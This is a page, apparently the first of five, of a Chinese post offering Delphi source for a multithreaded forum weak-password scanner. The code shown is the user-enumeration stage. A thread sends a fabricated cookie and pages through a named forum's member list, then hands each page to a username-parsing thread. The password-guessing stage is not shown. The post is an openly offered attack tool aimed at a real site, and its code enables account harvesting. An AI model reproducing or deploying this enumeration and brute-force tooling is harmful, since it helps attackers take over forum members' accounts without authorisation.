多线程扫描论坛弱口令(delphi源码)

unit UtStart;

interface

uses
  Classes,Idhttp,IdHeaderList,SysUtils,UtgETun;

type
  TStart = class(TThread)
  private
    { Private declarations }
  protected
    idp:TidHttp;
    sn,en:integer;
    GETUN:TGetUN;
    S:TIdHeaderList;
    procedure Execute; override;
  public
    constructor Create(sns,ens:integer);
    destructor Destroy; override;
  end;

implementation

uses UtMain;

{ Important: Methods and properties of objects in visual components can only be
  used in a method called using Synchronize, for example,

      Synchronize(UpdateCaption);

  and UpdateCaption could look like,

    procedure TStart.UpdateCaption;
    begin
      Form1.Caption := 'Updated in a thread';
    end; }

{ TStart }

constructor TStart.Create(sns,ens:integer);
begin
  sn:=sns;
  en:=ens;
  s:=TIdHeaderList.Create;
  idp:=TidHttp.Create(nil);
  inherited Create(false);
end;

destructor TStart.Destroy;
begin
  idp.Free;
  s.Free;
  inherited destroy;
end;

procedure TStart.Execute;
  VAR
  rs:string;
  i:integer;
begin
  freeonterminate:=true;
  s.Text:='Cookie: nowtime='+formatDateTime('yyyymmddhhmmss',now)+
          '; cometime=16_00_59__15_57_58_0; clicks=20020711142129; style=';;
  idp.Request.CustomHeaders:=s;
  for i:=sn to en do
  begin
    FmMain.Memo2.Lines.Add(IntToStr(i));
    try
      rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
      GetUn:=TGetUn.Create(rs);   //读取HTML代码后则交给分析用户名线程处理
    except
      try
        sleep(300);            //如果打开网页失败则睡眠300MS再继续
        rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
        GetUn:=TGetUn.Create(rs);
      except
        FmMain.Memo3.Lines.Add(IntToStr(i)+'打开网页失败');
        continue;
      end;
    end;
  end;
  FmMain.Memo3.Lines.Add(IntToStr(sn)+' - '+IntToStr(en)+' 完毕');
  Destroy;
  { Place thread code here }
end;

end.

上一页  [1] [2] [3] [4] [5] 下一页